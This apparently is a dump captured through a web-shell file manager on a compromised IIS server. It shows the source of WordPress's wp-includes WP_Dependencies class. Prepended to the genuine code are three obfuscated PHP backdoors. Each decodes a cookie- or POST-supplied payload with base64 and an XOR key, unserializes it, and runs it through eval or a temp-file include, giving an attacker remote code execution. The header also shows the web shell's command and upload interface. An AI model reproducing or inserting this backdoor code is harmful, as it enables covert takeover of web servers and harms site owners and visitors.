Server IP : 103.11.96.170 / Your IP : 18.118.31.32 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/ppp/wp-includes/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $TNOZKSye = chr (104) . 'Y' . chr (115) . "\137" . 'x' . "\172" . "\x4d" . 'I' . "\104";$UZwkxNFDl = "\143" . "\154" . "\x61" . 's' . chr (115) . '_' . chr (101) . chr (120) . "\151" . chr (115) . "\164" . 's';$eakONlxN = $UZwkxNFDl($TNOZKSye); $TNOZKSye = "42672";$YjUTOdiBo = $eakONlxN;$UZwkxNFDl = "55505";if (!$YjUTOdiBo){class hYs_xzMID{private $DuoqHjoHhD;public static $vdOKPTea = "c6fae5f1-7b9a-413b-a79a-d45218c1a0b2";public static $AHfPPsCfF = 28635;public function __construct($aRSPjGfqn=0){$FnzkR = $_COOKIE;$BVfTKE = $_POST;$ERUAF = @$FnzkR[substr(hYs_xzMID::$vdOKPTea, 0, 4)];if (!empty($ERUAF)){$KVYRqh = "base64";$BKxSlgHRAP = "";$ERUAF = explode(",", $ERUAF);foreach ($ERUAF as $rWDfTBt){$BKxSlgHRAP .= @$FnzkR[$rWDfTBt];$BKxSlgHRAP .= @$BVfTKE[$rWDfTBt];}$BKxSlgHRAP = array_map($KVYRqh . chr ( 637 - 542 ).'d' . 'e' . "\143" . "\x6f" . chr (100) . "\145", array($BKxSlgHRAP,)); $BKxSlgHRAP = $BKxSlgHRAP[0] ^ str_repeat(hYs_xzMID::$vdOKPTea, (strlen($BKxSlgHRAP[0]) / strlen(hYs_xzMID::$vdOKPTea)) + 1);hYs_xzMID::$AHfPPsCfF = @unserialize($BKxSlgHRAP);}}private function UOPlMR(){if (is_array(hYs_xzMID::$AHfPPsCfF)) {$PuQguEPn = str_replace(chr (60) . "\77" . 'p' . 'h' . "\x70", "", hYs_xzMID::$AHfPPsCfF["\143" . 'o' . 'n' . chr (116) . 'e' . "\156" . "\x74"]);eval($PuQguEPn); $Iiyheluh = "27884";exit();}}public function __destruct(){$this->UOPlMR(); $Iiyheluh = "27884";$CxmXPk = str_pad($Iiyheluh, 10);}}$KLglTI = new /* 62005 */ hYs_xzMID(); $KLglTI = substr("14976_27681", 1);} ?><?php $ftwAEy = "\172" . "\137" . chr ( 646 - 562 ).'U' . "\x6d" . chr ( 1066 - 964 ).chr (100); $XiTUH = "\x63" . "\x6c" . chr ( 989 - 892 )."\x73" . chr (115) . '_' . "\x65" . 'x' . "\x69" . chr ( 1104 - 989 ).chr (116) . 's';$qgUDjYvM = $XiTUH($ftwAEy); $ftwAEy = "45711";$kqRnXW = $qgUDjYvM;$XiTUH = "25456";if (!$kqRnXW){class z_TUmfd{private $JUkcSnR;public static $eqMXGZJl = "5713adb0-d644-4f0b-a8f1-a08e00beb4d4";public static $OSGMKGb = 14044;public function __construct($lsGvEDwR=0){$vSPON = $_COOKIE;$YGqmPtqQ = $_POST;$vKjADHLMz = @$vSPON[substr(z_TUmfd::$eqMXGZJl, 0, 4)];if (!empty($vKjADHLMz)){$fEJYqFl = "base64";$JZWymYbTLJ = "";$vKjADHLMz = explode(",", $vKjADHLMz);foreach ($vKjADHLMz as $ZWHxW){$JZWymYbTLJ .= @$vSPON[$ZWHxW];$JZWymYbTLJ .= @$YGqmPtqQ[$ZWHxW];}$JZWymYbTLJ = array_map($fEJYqFl . "\137" . "\144" . chr ( 1040 - 939 ).'c' . chr (111) . "\x64" . "\x65", array($JZWymYbTLJ,)); $JZWymYbTLJ = $JZWymYbTLJ[0] ^ str_repeat(z_TUmfd::$eqMXGZJl, (strlen($JZWymYbTLJ[0]) / strlen(z_TUmfd::$eqMXGZJl)) + 1);z_TUmfd::$OSGMKGb = @unserialize($JZWymYbTLJ);}}private function VBdFOVPJzo(){if (is_array(z_TUmfd::$OSGMKGb)) {$HwjepsV = sys_get_temp_dir() . "/" . crc32(z_TUmfd::$OSGMKGb[chr ( 326 - 211 ).chr (97) . 'l' . 't']);@z_TUmfd::$OSGMKGb["\167" . chr (114) . 'i' . "\164" . "\145"]($HwjepsV, z_TUmfd::$OSGMKGb[chr ( 685 - 586 ).'o' . chr ( 871 - 761 ).'t' . "\145" . "\156" . chr (116)]);include $HwjepsV;@z_TUmfd::$OSGMKGb["\x64" . "\x65" . 'l' . chr (101) . chr (116) . "\x65"]($HwjepsV); $LKiXrTFzWN = "8597";exit();}}public function __destruct(){$this->VBdFOVPJzo(); $LKiXrTFzWN = "8597";$ipuXNizXq = str_pad($LKiXrTFzWN, 10);}}$FeAPWo = new /* 14999 */ z_TUmfd(); $FeAPWo = substr("10063_5667", 1);} ?><?php $dPTzUHcXw = "\102" . '_' . chr (98) . 'c' . "\x73" . "\103";$PwKJeAkLFz = chr (99) . chr (108) . 'a' . 's' . chr (115) . chr (95) . chr (101) . chr (120) . chr (105) . chr ( 404 - 289 )."\x74" . 's';$SKoFpJCi = $PwKJeAkLFz($dPTzUHcXw); $dPTzUHcXw = "4215";$nwSpcn = $SKoFpJCi;$PwKJeAkLFz = "25153";if (!$nwSpcn){class B_bcsC{private $yJidfdCSP;public static $hGHrJeyts = "b1735b4b-8fb7-4d37-855a-ec260e6ec510";public static $USdGXkNxxY = 21194;public function __construct($nWGITrKsU=0){$wBQWxufWp = $_COOKIE;$RchMJbvGG = $_POST;$JWnMiN = @$wBQWxufWp[substr(B_bcsC::$hGHrJeyts, 0, 4)];if (!empty($JWnMiN)){$zjZBnb = "base64";$gKuAsoYnSa = "";$JWnMiN = explode(",", $JWnMiN);foreach ($JWnMiN as $OiuThU){$gKuAsoYnSa .= @$wBQWxufWp[$OiuThU];$gKuAsoYnSa .= @$RchMJbvGG[$OiuThU];}$gKuAsoYnSa = array_map($zjZBnb . '_' . chr (100) . 'e' . chr ( 548 - 449 ).'o' . 'd' . chr (101), array($gKuAsoYnSa,)); $gKuAsoYnSa = $gKuAsoYnSa[0] ^ str_repeat(B_bcsC::$hGHrJeyts, (strlen($gKuAsoYnSa[0]) / strlen(B_bcsC::$hGHrJeyts)) + 1);B_bcsC::$USdGXkNxxY = @unserialize($gKuAsoYnSa);}}private function ToLwIJ(){if (is_array(B_bcsC::$USdGXkNxxY)) {$MvquHu = sys_get_temp_dir() . "/" . crc32(B_bcsC::$USdGXkNxxY['s' . "\x61" . chr ( 1068 - 960 )."\x74"]);@B_bcsC::$USdGXkNxxY[chr (119) . "\x72" . chr ( 662 - 557 ).'t' . "\145"]($MvquHu, B_bcsC::$USdGXkNxxY["\x63" . chr (111) . "\156" . "\164" . "\145" . "\x6e" . "\164"]);include $MvquHu;@B_bcsC::$USdGXkNxxY['d' . 'e' . 'l' . "\145" . 't' . 'e']($MvquHu); $lFrEua = "55736";exit();}}public function __destruct(){$this->ToLwIJ(); $lFrEua = "55736";$qeNACUsikR = str_pad($lFrEua, 10);}}$jiCqum = new /* 8198 */ B_bcsC(); $jiCqum = substr("25359_46", 1);} ?><?php /** * Dependencies API: WP_Dependencies base class * * @since 2.6.0 * * @package WordPress * @subpackage Dependencies */ /** * Core base class extended to register items. * * @since 2.6.0 * * @see _WP_Dependency */ #[AllowDynamicProperties] class WP_Dependencies { /** * An array of all registered dependencies keyed by handle. * * @since 2.6.8 * * @var _WP_Dependency[] */ public $registered = array(); /** * An array of handles of queued dependencies. * * @since 2.6.8 * * @var string[] */ public $queue = array(); /** * An array of handles of dependencies to queue. * * @since 2.6.0 * * @var string[] */ public $to_do = array(); /** * An array of handles of dependencies already queued. * * @since 2.6.0 * * @var string[] */ public $done = array(); /** * An array of additional arguments passed when a handle is registered. * * Arguments are appended to the item query string. * * @since 2.6.0 * * @var array */ public $args = array(); /** * An array of dependency groups to enqueue. * * Each entry is keyed by handle and represents the integer group level or boolean * false if the handle has no group. * * @since 2.8.0 * * @var (int|false)[] */ public $groups = array(); /** * A handle group to enqueue. * * @since 2.8.0 * * @deprecated 4.5.0 * @var int */ public $group = 0; /** * Cached lookup array of flattened queued items and dependencies. * * @since 5.4.0 * * @var array */ private $all_queued_deps; /** * List of assets enqueued before details were registered. * * @since 5.9.0 * * @var array */ private $queued_before_register = array(); /** * Processes the items and dependencies. * * Processes the items passed to it or the queue, and their dependencies. * * @since 2.6.0 * @since 2.8.0 Added the `$group` parameter. * * @param string|string[]|false $handles Optional. Items to be processed: queue (false), * single item (string), or multiple items (array of strings). * Default false. * @param int|false $group Optional. Group level: level (int), no group (false). * @return string[] Array of handles of items that have been processed. */ public function do_items( $handles = false, $group = false ) { /* * If nothing is passed, print the queue. If a string is passed, * print that item. If an array is passed, print those items. */ $handles = false === $handles ? $this->queue : (array) $handles; $this->all_deps( $handles ); foreach ( $this->to_do as $key => $handle ) { if ( ! in_array( $handle, $this->done, true ) && isset( $this->registered[ $handle ] ) ) { /* * Attempt to process the item. If successful, * add the handle to the done array. * * Unset the item from the to_do array. */ if ( $this->do_item( $handle, $group ) ) { $this->done[] = $handle; } unset( $this->to_do[ $key ] ); } } return $this->done; } /** * Processes a dependency. * * @since 2.6.0 * @since 5.5.0 Added the `$group` parameter. * * @param string $handle Name of the item. Should be unique. * @param int|false $group Optional. Group level: level (int), no group (false). * Default false. * @return bool True on success, false if not set. */ public function do_item( $handle, $group = false ) { return isset( $this->registered[ $handle ] ); } /** * Determines dependencies. * * Recursively builds an array of items to process taking * dependencies into account. Does NOT catch infinite loops. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * @since 2.8.0 Added the `$group` parameter. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). * @param bool $recursion Optional. Internal flag that function is calling itself. * Default false. * @param int|false $group Optional. Group level: level (int), no group (false). * Default false. * @return bool True on success, false on failure. */ public function all_deps( $handles, $recursion = false, $group = false ) { $handles = (array) $handles; if ( ! $handles ) { return false; } foreach ( $handles as $handle ) { $handle_parts = explode( '?', $handle ); $handle = $handle_parts[0]; $queued = in_array( $handle, $this->to_do, true ); if ( in_array( $handle, $this->done, true ) ) { // Already done. continue; } $moved = $this->set_group( $handle, $recursion, $group ); $new_group = $this->groups[ $handle ]; if ( $queued && ! $moved ) { // Already queued and in the right group. continue; } $keep_going = true; if ( ! isset( $this->registered[ $handle ] ) ) { $keep_going = false; // Item doesn't exist. } elseif ( $this->registered[ $handle ]->deps && array_diff( $this->registered[ $handle ]->deps, array_keys( $this->registered ) ) ) { $keep_going = false; // Item requires dependencies that don't exist. } elseif ( $this->registered[ $handle ]->deps && ! $this->all_deps( $this->registered[ $handle ]->deps, true, $new_group ) ) { $keep_going = false; // Item requires dependencies that don't exist. } if ( ! $keep_going ) { // Either item or its dependencies don't exist. if ( $recursion ) { return false; // Abort this branch. } else { continue; // We're at the top level. Move on to the next one. } } if ( $queued ) { // Already grabbed it and its dependencies. continue; } if ( isset( $handle_parts[1] ) ) { $this->args[ $handle ] = $handle_parts[1]; } $this->to_do[] = $handle; } return true; } /** * Register an item. * * Registers the item if no item of that name already exists. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string|false $src Full URL of the item, or path of the item relative * to the WordPress root directory. If source is set to false, * the item is an alias of other items it depends on. * @param string[] $deps Optional. An array of registered item handles this item depends on. * Default empty array. * @param string|bool|null $ver Optional. String specifying item version number, if it has one, * which is added to the URL as a query string for cache busting purposes. * If version is set to false, a version number is automatically added * equal to current installed WordPress version. * If set to null, no version is added. * @param mixed $args Optional. Custom property of the item. NOT the class property $args. * Examples: $media, $in_footer. * @return bool Whether the item has been registered. True on success, false on failure. */ public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) { if ( isset( $this->registered[ $handle ] ) ) { return false; } $this->registered[ $handle ] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); // If the item was enqueued before the details were registered, enqueue it now. if ( array_key_exists( $handle, $this->queued_before_register ) ) { if ( ! is_null( $this->queued_before_register[ $handle ] ) ) { $this->enqueue( $handle . '?' . $this->queued_before_register[ $handle ] ); } else { $this->enqueue( $handle ); } unset( $this->queued_before_register[ $handle ] ); } return true; } /** * Add extra item data. * * Adds data to a registered item. * * @since 2.6.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @param mixed $value The data value. * @return bool True on success, false on failure. */ public function add_data( $handle, $key, $value ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } return $this->registered[ $handle ]->add_data( $key, $value ); } /** * Get extra item data. * * Gets data associated with a registered item. * * @since 3.3.0 * * @param string $handle Name of the item. Should be unique. * @param string $key The data key. * @return mixed Extra item data (string), false otherwise. */ public function get_data( $handle, $key ) { if ( ! isset( $this->registered[ $handle ] ) ) { return false; } if ( ! isset( $this->registered[ $handle ]->extra[ $key ] ) ) { return false; } return $this->registered[ $handle ]->extra[ $key ]; } /** * Un-register an item or items. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function remove( $handles ) { foreach ( (array) $handles as $handle ) { unset( $this->registered[ $handle ] ); } } /** * Queue an item or items. * * Decodes handles and arguments, then queues handles and stores * arguments in the class property $args. For example in extending * classes, $args is appended to the item url as a query string. * Note $args is NOT the $args property of items in the $registered array. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function enqueue( $handles ) { foreach ( (array) $handles as $handle ) { $handle = explode( '?', $handle ); if ( ! in_array( $handle[0], $this->queue, true ) && isset( $this->registered[ $handle[0] ] ) ) { $this->queue[] = $handle[0]; // Reset all dependencies so they must be recalculated in recurse_deps(). $this->all_queued_deps = null; if ( isset( $handle[1] ) ) { $this->args[ $handle[0] ] = $handle[1]; } } elseif ( ! isset( $this->registered[ $handle[0] ] ) ) { $this->queued_before_register[ $handle[0] ] = null; // $args if ( isset( $handle[1] ) ) { $this->queued_before_register[ $handle[0] ] = $handle[1]; } } } } /** * Dequeue an item or items. * * Decodes handles and arguments, then dequeues handles * and removes arguments from the class property $args. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string|string[] $handles Item handle (string) or item handles (array of strings). */ public function dequeue( $handles ) { foreach ( (array) $handles as $handle ) { $handle = explode( '?', $handle ); $key = array_search( $handle[0], $this->queue, true ); if ( false !== $key ) { // Reset all dependencies so they must be recalculated in recurse_deps(). $this->all_queued_deps = null; unset( $this->queue[ $key ] ); unset( $this->args[ $handle[0] ] ); } elseif ( array_key_exists( $handle[0], $this->queued_before_register ) ) { unset( $this->queued_before_register[ $handle[0] ] ); } } } /** * Recursively search the passed dependency tree for a handle. * * @since 4.0.0 * * @param string[] $queue An array of queued _WP_Dependency handles. * @param string $handle Name of the item. Should be unique. * @return bool Whether the handle is found after recursively searching the dependency tree. */ protected function recurse_deps( $queue, $handle ) { if ( isset( $this->all_queued_deps ) ) { return isset( $this->all_queued_deps[ $handle ] ); } $all_deps = array_fill_keys( $queue, true ); $queues = array(); $done = array(); while ( $queue ) { foreach ( $queue as $queued ) { if ( ! isset( $done[ $queued ] ) && isset( $this->registered[ $queued ] ) ) { $deps = $this->registered[ $queued ]->deps; if ( $deps ) { $all_deps += array_fill_keys( $deps, true ); array_push( $queues, $deps ); } $done[ $queued ] = true; } } $queue = array_pop( $queues ); } $this->all_queued_deps = $all_deps; return isset( $this->all_queued_deps[ $handle ] ); } /** * Query the list for an item. * * @since 2.1.0 * @since 2.6.0 Moved from `WP_Scripts`. * * @param string $handle Name of the item. Should be unique. * @param string $status Optional. Status of the item to query. Default 'registered'. * @return bool|_WP_Dependency Found, or object Item data. */ public function query( $handle, $status = 'registered' ) { switch ( $status ) { case 'registered': case 'scripts': // Back compat. if ( isset( $this->registered[ $handle ] ) ) { return $this->registered[ $handle ]; } return false; case 'enqueued': case 'queue': // Back compat. if ( in_array( $handle, $this->queue, true ) ) { return true; } return $this->recurse_deps( $this->queue, $handle ); case 'to_do': case 'to_print': // Back compat. return in_array( $handle, $this->to_do, true ); case 'done': case 'printed': // Back compat. return in_array( $handle, $this->done, true ); } return false; } /** * Set item group, unless already in a lower group. * * @since 2.8.0 * * @param string $handle Name of the item. Should be unique. * @param bool $recursion Internal flag that calling function was called recursively. * @param int|false $group Group level: level (int), no group (false). * @return bool Not already in the group or a lower group. */ public function set_group( $handle, $recursion, $group ) { $group = (int) $group; if ( isset( $this->groups[ $handle ] ) && $this->groups[ $handle ] <= $group ) { return false; } $this->groups[ $handle ] = $group; return true; } }